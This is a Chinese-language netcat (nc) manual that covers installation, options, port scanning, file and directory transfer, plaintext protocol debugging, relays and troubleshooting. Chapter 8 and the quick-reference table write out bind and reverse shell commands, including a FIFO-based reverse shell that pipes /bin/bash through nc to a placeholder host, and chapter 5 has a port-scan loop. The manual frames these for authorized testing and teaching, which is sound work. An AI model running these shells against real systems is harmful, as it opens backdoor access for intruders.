

netcat

网络瑞士军刀 · nc 命令使用手册

TCP / UDP 连接 · 端口扫描 · 文件传输 · 调试诊断

```
$ nc -lvnp 4444
```

```
listening on [any] 4444 ...
```

```
connect to [10.0.0.5] from host ...
```

第 1 章 netcat 简介

netcat (简称 nc) 被誉为网络工具中的“瑞士军刀”。它是一个通过 TCP 或 UDP 读写网络连接的小巧命令行工具：一端可以监听端口（充当服务器），另一端可以发起连接（充当客户端），并把标准输入/输出直接挂接到网络套接字上。

正因为它把“网络连接”抽象成了像管道一样的字节流，nc 可以被组合进各种 shell 流水线，完成端口探测、文件传输、协议调试、即时通信等大量任务。

1.1 核心能力一览

- 建立 出站（客户端）与 进站（监听/服务器）TCP、UDP 连接；
- 把任意标准输入流送入网络，把网络返回的数据写到标准输出；
- 做简单的端口扫描与连通性测试；
- 在两台主机间传输文件、目录，搭配 tar / gzip 更高效；
- 作为协议调试客户端，手工敲 HTTP、SMTP、Redis 等明文协议；
- 充当网络管道，与 ssh、openssl、socat 等工具配合穿透与加密。

1.2 三大常见实现

不同系统自带的“nc”并不完全相同，选项和行为存在差异，使用前最好用 **nc -h** 确认版本。

实现版本	常见来源	特点
Traditional (Hobbit)	Debian netcat-traditional	经典版，支持 -e 执行程序，功能简单
OpenBSD nc	openbsd-netcat / 多数 Linux、macOS	更安全，默认无 -e，支持 -k 等
Ncat (Nmap)	nmap 项目	功能最强，支持 SSL、代理、访问控制

说明 本手册以最常见的 **OpenBSD nc** 为主线，并在差异处标注其它版本的写法。命令中的 IP、端口请按实际环境替换。

第 2 章 安装与版本确认

2.1 各平台安装

```
# Debian / Ubuntu (OpenBSD 版, 推荐)
sudo apt install netcat-openbsd

# CentOS / RHEL / Fedora
sudo yum install nmap-ncat    # 提供 ncat
sudo dnf install nc

# macOS: 系统自带 nc; 如需 ncat:
brew install nmap

# Alpine
apk add netcat-openbsd
```

不同发行版的包名不同, netcat-openbsd 与 ncat 可并存。

2.2 确认版本与帮助

```
nc -h      # 查看支持的选项 (不同版本输出不同)
man nc     # 阅读手册页
which nc   # 看 nc 实际指向哪个二进制
readlink -f $(which nc)
```

提示 如果 `nc -h` 里能看到 `-e` 选项, 通常是 traditional 版或 ncat; OpenBSD 版默认没有 `-e`。这一点直接决定了后面 “执行命令 / 反弹 shell” 的写法。

第 3 章 命令语法与常用选项

3.1 基本语法

```
# 客户端: 连接到目标主机的端口
nc [选项] <目标主机> <端口>

# 服务端: 监听本地端口, 等待连接
nc -l [选项] <端口>
```

3.2 连接 / 模式类选项

选项	说明
<code>-l</code>	监听模式, 作为服务器等待入站连接
<code>-p <port></code>	指定本地 (源) 端口号
<code>-u</code>	使用 UDP 协议 (默认是 TCP)
<code>-k</code>	保持监听: 客户端断开后继续接受新连接 (OpenBSD/ncat)
<code>-s <addr></code>	指定连接所用的源 IP 地址

选项	说明
-4 / -6	强制使用 IPv4 / IPv6

3.3 行为 / 调试类选项

选项	说明
-v / -vv	详细输出，显示连接过程；-vv 更啰嗦
-n	不做 DNS 解析，直接用 IP（更快、避免解析延迟）
-w <secs>	连接 / 读取超时秒数，避免长期挂起
-z	Zero-I/O 模式：只探测端口是否开放，不收发数据（扫描用）
-q <secs>	stdin 收到 EOF 后等待 N 秒再退出（traditional）
-d	后台运行，不从标准输入读取数据
-D	打开 socket 调试选项

3.4 执行命令类选项（需谨慎）

选项	说明
-e <prog>	连接建立后执行指定程序，并把其 I/O 接到 socket（traditional / ncat, OpenBSD 无）
-c <cmd>	通过 /bin/sh -c 执行命令（traditional）

警告 -e / -c 会把一个程序（常是 shell）的输入输出直接暴露给网络，极易被滥用为后门。请仅在获得授权的测试环境中使用，切勿对外网开放。多数发行版默认的 OpenBSD 版已移除 -e 正是出于安全考虑。

第 4 章 基础用法

4.1 作为客户端连接

最基本的用法：连接到某主机的某个端口，相当于一个“手工的网络客户端”。

```
# 连接 example.com 的 80 端口（不解析、显示过程）
nc -nv example.com 80

# 连接后即可手工发送数据，例如一条最简 HTTP 请求：
printf 'GET / HTTP/1.0\r\n\r\n' | nc example.com 80
```

管道把请求送入连接，nc 把服务器响应打印到屏幕。

4.2 作为服务器监听

用 **-l** 让 nc 监听端口，等待对方连接进来。这是搭建临时服务、做接收端的基础。

```
# 监听本地 4444 端口 (OpenBSD 写法)
nc -lvp 4444

# -l 监听 -v 显示信息 -n 不解析 -p 指定端口
# 连接进来后，两端的键盘输入会互相显示——这就是一个最简聊天通道。
```

说明 不同版本对“监听端口”的写法略有差异：OpenBSD / ncat 用 **nc -lvp 4444**；traditional 版甚至可省略 **-p** 写成 **nc -lvp 4444** 或 **nc -l 4444**。若报错，去掉或调整 **-p** 再试。

4.3 UDP 模式

```
# 服务端：UDP 监听 9999
nc -u -lvp 9999

# 客户端：以 UDP 连接
nc -u 192.168.1.10 9999
```

UDP 无连接，常用于测试 DNS、syslog、游戏等基于 UDP 的服务。

第 5 章 端口扫描与连通性测试

nc 不是专业扫描器，但用 **-z**（不收发数据）配合 **-v** 和 **-w**，可以快速判断端口是否开放。

5.1 扫描单个 / 多个端口

```
# 探测单个端口是否开放（2 秒超时）
nc -zv -w 2 192.168.1.10 22

# 扫描一个端口范围（22 到 25）
nc -zv 192.168.1.10 22-25

# 扫描常见端口（用空格列出）
nc -zv 192.168.1.10 21 22 80 443
```

5.2 结合脚本批量探测

```
# 用 shell 循环扫描 1-1000 端口，只打印开放的
for p in $(seq 1 1000); do
  nc -zv -w 1 192.168.1.10 $p 2>&1 | grep -i succeeded
done
```

大范围扫描建议改用 nmap；nc 适合快速点测。

5.3 常用扫描选项速查

选项	说明
-z	只扫描、不发送数据
-v	显示每个端口的探测结果
-n	跳过 DNS 解析，加快速度
-w 1	每个端口最多等待 1 秒
-u	改为扫描 UDP 端口

提示 UDP 扫描结果不可靠：很多 UDP 服务对探测包不回应，nc 可能误报为“开放”。判断 UDP 端口务必结合实际服务行为。

第 6 章 文件与目录传输

nc 把网络变成字节管道，因此可以在两台主机之间直接传文件——一端写、一端读即可。约定：先在接收端开监听，再在发送端连接。

6.1 传输单个文件

```
# 接收端（先启动）：监听 4444，把收到的数据写入文件
nc -lvp 4444 > received.bin

# 发送端：连接接收端，把文件内容送过去
nc 192.168.1.20 4444 < file.bin
```

文件传完后连接可能不会自动关闭，可在发送端加 -q 0 或传完手动 Ctrl+C。

6.2 打包传输整个目录

```
# 接收端：监听并解包到当前目录
nc -lvp 4444 | tar xzvf -

# 发送端：把目录打包后通过管道发出
tar czvf - ./mydir | nc 192.168.1.20 4444
```

tar 负责打包与目录结构，nc 只负责搬运字节流。

6.3 带进度与校验

```
# 发送端用 pv 显示进度条
pv file.iso | nc 192.168.1.20 4444

# 传完后两端各自校验，确保一致
sha256sum received.bin # 接收端
sha256sum file.bin      # 发送端
```

警告 nc 传输明文且不加密、不校验。在不可信网络中传敏感文件，请改用 scp / rsync over ssh，或先用 openssl / gpg 加密后再用 nc 搬运。

第 7 章 即时通信与协议调试

7.1 两台主机间的简单聊天

```
# A 机（服务端）
nc -lvp 5000

# B 机（客户端）
nc 192.168.1.30 5000

# 之后任意一端输入文字回车，另一端即可看到。Ctrl+C 退出。
```

7.2 手工调试明文协议

nc 是学习与排查明文协议的利器——你可以一行行手敲协议命令，直接观察服务器响应。

```
# 手工发起 HTTP 请求
nc -nv example.com 80
GET / HTTP/1.1
Host: example.com
Connection: close
      (此处再敲一个空行回车，发送请求)
```

HTTP/1.1 需要 Host 头；输入完空行后服务器返回响应。

```
# 测试 Redis（明文 RESP 协议）
nc -nv 127.0.0.1 6379
PING
-> +PONG

# 测试 SMTP 邮件服务器握手
nc -nv mail.example.com 25
EHLO test.local
```

许多服务（Redis、Memcached、SMTP、HTTP）都能用 nc 直接对话。

提示 调试时常加 **-C** (ncat) 或在输入中用 **Ctrl+V Ctrl+M** 发送 CRLF，因为不少协议要求行尾是 **\r\n** 而不仅是 **\n**。

第 8 章 远程 Shell（授权测试场景）

说明 以下内容用于渗透测试授权范围内、CTF 竞赛、教学与排障等合法场景。在他人系统上未经许可建立远程 shell 属于违法行为，请务必确认授权。

8.1 正向 Shell (Bind Shell)

目标机监听端口并在连接后提供 shell，攻击/测试机主动连接上去。

```
# 目标机 (traditional 版有 -e) : 监听 4444, 连入即给 shell
nc -lvp 4444 -e /bin/bash

# 测试机: 连接过去即可操作目标 shell
nc -nv <目标IP> 4444
```

8.2 反向 Shell (Reverse Shell)

更常用: 测试机先监听, 目标机反向连回来——便于穿透目标侧防火墙的入站限制。

```
# 测试机 (先监听)
nc -lvp 4444

# 目标机 (traditional 版有 -e) : 反连测试机并交出 shell
nc <测试机IP> 4444 -e /bin/bash
```

8.3 OpenBSD 版无 -e 时的替代写法

OpenBSD nc 默认不带 -e, 可借助命名管道 (FIFO) 实现等价效果:

```
# 目标机: 用 FIFO + bash 搭出反向 shell
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/bash -i 2>&1 | nc <测试机IP> 4444 > /tmp/f
```

原理: 把 nc 收到的数据喂给 bash, 再把 bash 输出经 nc 送回。

警告 反弹 shell 一旦留存即成后门。测试结束后请立即清理 FIFO、关闭监听, 并在报告中记录所有操作。严禁用于未授权目标。

第 9 章 实用技巧与组合

9.1 搭一个临时 HTTP 文件下载点

```
# 把一个文件作为一次性 HTTP 响应提供出去
{ printf 'HTTP/1.1 200 OK\r\n\r\n'; cat file.txt; } | nc -lvp 8080
# 浏览器访问 http://<本机IP>:8080/ 即可下载 (连一次后退出)

# 想持续服务多次连接, 用 -k 保持监听 (OpenBSD/ncat)
```

9.2 端口转发 / 中继


```
# 把本机 8080 的流量转发到内网 web 服务器 80 (用两个 nc + FIFO)
mkfifo /tmp/relay
nc -lvp 8080 < /tmp/relay | nc 10.0.0.50 80 > /tmp/relay
```

复杂转发建议改用 socat，它对双向中继支持更完善。

9.3 配合 SSH / OpenSSL 加密

```
# 用 ncat 直接建立 SSL 加密监听
ncat --ssl -lvp 4444
ncat --ssl <对端IP> 4444

# 用 openssl 给普通 nc 通道加密 (双向需各自配证书)
openssl s_client -connect host:443
```

9.4 超时与自动退出

选项	说明
-w 5	连接/读空闲超过 5 秒自动断开，防止脚本挂死
-q 0	stdin 结束 (EOF) 后立刻退出 (traditional)，适合一次性传输
-N	stdin 收到 EOF 后关闭网络写半边 (OpenBSD)，让对端感知结束

9.5 常用组合速记

目的	命令骨架
监听端口	nc -lvp PORT
连接探测	nc -zv -w2 HOST PORT
收文件	nc -lvp PORT > out
发文件	nc HOST PORT < in
传目录	tar cz - DIR nc HOST PORT
反弹 shell	nc HOST PORT -e /bin/bash

第 10 章 故障排查

现象	可能原因	处理
Connection refused	目标端口没有程序监听 / 被防火墙拒绝	确认服务已启动、放行端口
监听报 -p 错误	版本不支持该写法	改用 nc -lvp PORT 或去掉 -p
传文件不结束	发送端未发 EOF	发送端加 -q 0 / -N，或手动 Ctrl+C

现象	可能原因	处理
扫描很慢	在做 DNS 解析	加 -n 跳过解析，加 -w 限超时
没有 -e 选项	OpenBSD 版移除了 -e	用 FIFO 方案或换 ncat
中文/二进制乱码	终端按文本显示二进制流	重定向到文件而非屏幕

提示 排查连通性时，先用 `nc -zv -w2 主机 端口` 这一条命令把 “网络能不能通” 和 “应用层有没有问题” 区分开，能省下大量时间。

第 11 章 nc / ncat / socat 对比

能力	传统 nc	OpenBSD nc	ncat	socat
TCP/UDP	支持	支持	支持	支持
-e 执行程序	支持	无	支持	支持
SSL/TLS 加密	无	无	支持	支持
保持监听 -k	部分	支持	支持	支持
访问控制	无	无	支持	支持
双向中继转发	弱	弱	较好	强

说明 简单点测用 nc；需要加密、访问控制、稳定监听用 ncat；需要复杂双向转发、串口/文件/socket 互转用 socat。

第 12 章 安全注意事项

- 明文传输：nc 不加密，敏感数据请套 ssh / TLS / gpg。
- 慎用 -e：把 shell 暴露给网络等于开后门，仅限授权测试环境。
- 及时收尾：测试用的监听、FIFO、临时文件用完即清。
- 限制范围：监听尽量绑内网地址，配合防火墙限制来源 IP。
- 合法合规：扫描、连接、反弹 shell 都须事先获得书面授权。
- 留存记录：在授权测试中记录每条命令与时间，便于复盘与免责。

警告 netcat 是中立的工具，威力取决于使用者。未经授权对他人系统进行扫描、建立连接或植入 shell，可能触犯法律。本手册仅供学习、运维排障与授权测试使用。